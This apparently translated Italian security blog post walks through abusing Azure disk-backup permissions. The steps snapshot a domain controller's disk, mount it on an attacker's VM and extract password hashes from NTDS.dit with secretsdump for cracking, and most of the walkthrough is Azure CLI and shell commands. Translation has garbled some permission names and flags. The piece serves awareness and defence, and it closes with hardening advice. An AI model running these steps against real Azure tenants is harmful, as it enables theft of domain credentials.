Come estrarre i segreti di Azure come utente di backup

È a conoscenza di questa configurazione errata di Azure?

Azure è spesso il provider di servizi cloud scelto per ospitare l'infrastruttura dei clienti. Supporta un controllo degli accessi a grana fine, consentendo agli amministratori di dettagliare l'esatto livello di accesso consentito a un utente. Tuttavia, fornire un controllo degli accessi a grana così fine può essere una lama a doppio taglio, che porta gli amministratori a essere sopraffatti e a fornire agli utenti un numero eccessivo di autorizzazioni.

Lo specialista della sicurezza Tom Nijholt vede molte configurazioni errate di Azure nelle valutazioni che effettua. In questo blog mostra, passo dopo passo, come può essere facile estrarre le credenziali in Azure - qualcosa di cui dovrebbe essere consapevole se utilizza Azure.

Estrazione delle credenziali da un DC AD in esecuzione in Azure

La gestione errata dei ruoli è una configurazione errata molto comune in cui ci imbattiamo durante gli assessment. In combinazione con l'impiego di una metodologia lift-and-shift quando si passa al cloud, questo offre alcuni interessanti vettori di attacco. In una metodologia lift-and-shift di passaggio al cloud, vengono spesso create delle macchine virtuali del controller di dominio (DC VM) per estendere un ambiente on-premise al cloud e renderlo altamente disponibile.

La creazione di backup delle macchine in esecuzione nel cloud è una buona pratica di sicurezza. Gli amministratori possono fornire agli utenti autorizzazioni specifiche che consentono loro di creare istantanee e dischi che possono essere utilizzati come backup. Tuttavia, queste autorizzazioni sono potenti e gli amministratori devono prestare attenzione a come applicare queste autorizzazioni e a chi vengono concesse.

Nelle sezioni seguenti mostriamo come abusare delle autorizzazioni di backup su una VM DC attiva creando una copia del disco DC, ottenendo gli hash delle password e decifrandole.

Requisiti

Per eseguire i passi di questo blog è necessario disporre delle seguenti autorizzazioni:

• Ruolo Operatore dati per dischi gestiti

o un ruolo personalizzato con le seguenti autorizzazioni:

• Microsoft.Compute/disks/download/action
• Microsoft.Compute/dischi/upload/azione
• Microsoft.Compute/snapshots/download/azione
• Microsoft.Compute/snapshots/upload/azione

Queste autorizzazioni sono incluse anche nel ruolo di Collaboratore. Confermi di avere il ruolo di Collaboratore per la macchina virtuale visitando la pagina 'Controllo accessi (IAM)'.

Come fare - GUI

Può creare un backup di una VM creando una copia del disco che esegue il sistema operativo. Azure offre una funzionalità per farlo con un semplice clic. Basta navigare nella VM del controller di dominio, identificare il disco del sistema operativo nella lama 'Dischi' e fare clic su 'Crea istantanea' nella vista delle risorse del disco del sistema operativo.

Dopo aver creato l'istantanea, può già scaricare una versione dei dati generando un URL di download nella lama 'Esportazione istantanea'. Tuttavia, se non desidera scaricare un'immagine completa del disco, può anche montarla su un'altra macchina virtuale convertendo l'istantanea in un disco. Per creare un disco dall'istantanea, visiti la lama 'Panoramica' e clicchi su 'Crea disco'. Quindi colleghi il disco alla sua VM.

Apra la macchina virtuale, individui il disco usando 'fdisk -l' e lo monti usando 'sudo mount /dev/<il suo-disco> /<mountlocation>'.

Quindi, utilizzando secretsdump.py da impacket, ottiene gli hash da NTDS.dit e dal file SYSTEM

Infine, può decifrarli utilizzando hashcat o john.

Guardi il video qui:

Come fare - Azure CLI

0. Effettui il login con l'account di backup:

az login

1. Crei un'istantanea del disco di destinazione e verifichi la creazione:

osDiskId=$(az vm show -g <nome gruppo risorse> -n <nome-vm target> --query "storageProfile.osDisk.managedDisk.id" -o tsv)
az snapshot create -g <nome gruppo risorse> -source "$osDiskId" --name snapshot-dc az snapshot list -g <nome gruppo risorse> -o table

2. Creare un nuovo disco utilizzando l'istantanea come sorgente

snapId=$(az snapshot show --nome snapshot-dc --gruppo risorse <nome gruppo risorse> --query [id] -o tsv)
az disk create --resource-group <resource-group-name> --name snapshot-dc-disk --sku Standard_LRS --size-gb 128 --source $snapId --zone 1 az disk list -g <resource-group-name> -o table

3. Colleghi il disco a una macchina virtuale malintenzionata:

snDiskId=$(az disk show --name snapshot-dc-disk --resource-group <resource-group-name> --query [id] -o tsv) az vm disk attach -g <resource-group-name> --vm-name <own-vm-name> --name $snDiskId

4. Effettui l'accesso SSH alla VM e monti il disco allegato:

lsblk sudo mount /dev/<attached-disk> /mnt/dc-disk/

5. Estragga gli hash utilizzando secretsdump:

python3 ./secretsdump.py -system /mnt/dc-disk/Windows/System32/config/SYSTEM -ntds /mnt/dc-disk/Windows/NTDS/ntds.dit -outputfile /tmp/hashes2 -hashes LMHASH:NTHASH LOCAL

Guardi il video qui:

Conclusione

È fondamentale avere dei backup del suo ambiente per evitare la perdita di dati. Tuttavia, bisogna riconoscere che un processo di backup completo richiede un accesso privilegiato che può essere sfruttato da un aggressore per ottenere l'accesso a tutte le risorse situate sulle macchine di cui può eseguire il backup. Pertanto, qualsiasi account con privilegi di backup su macchine critiche deve essere considerato di alto valore e protetto come tale. Consideri un account di backup un altro account di amministratore di dominio.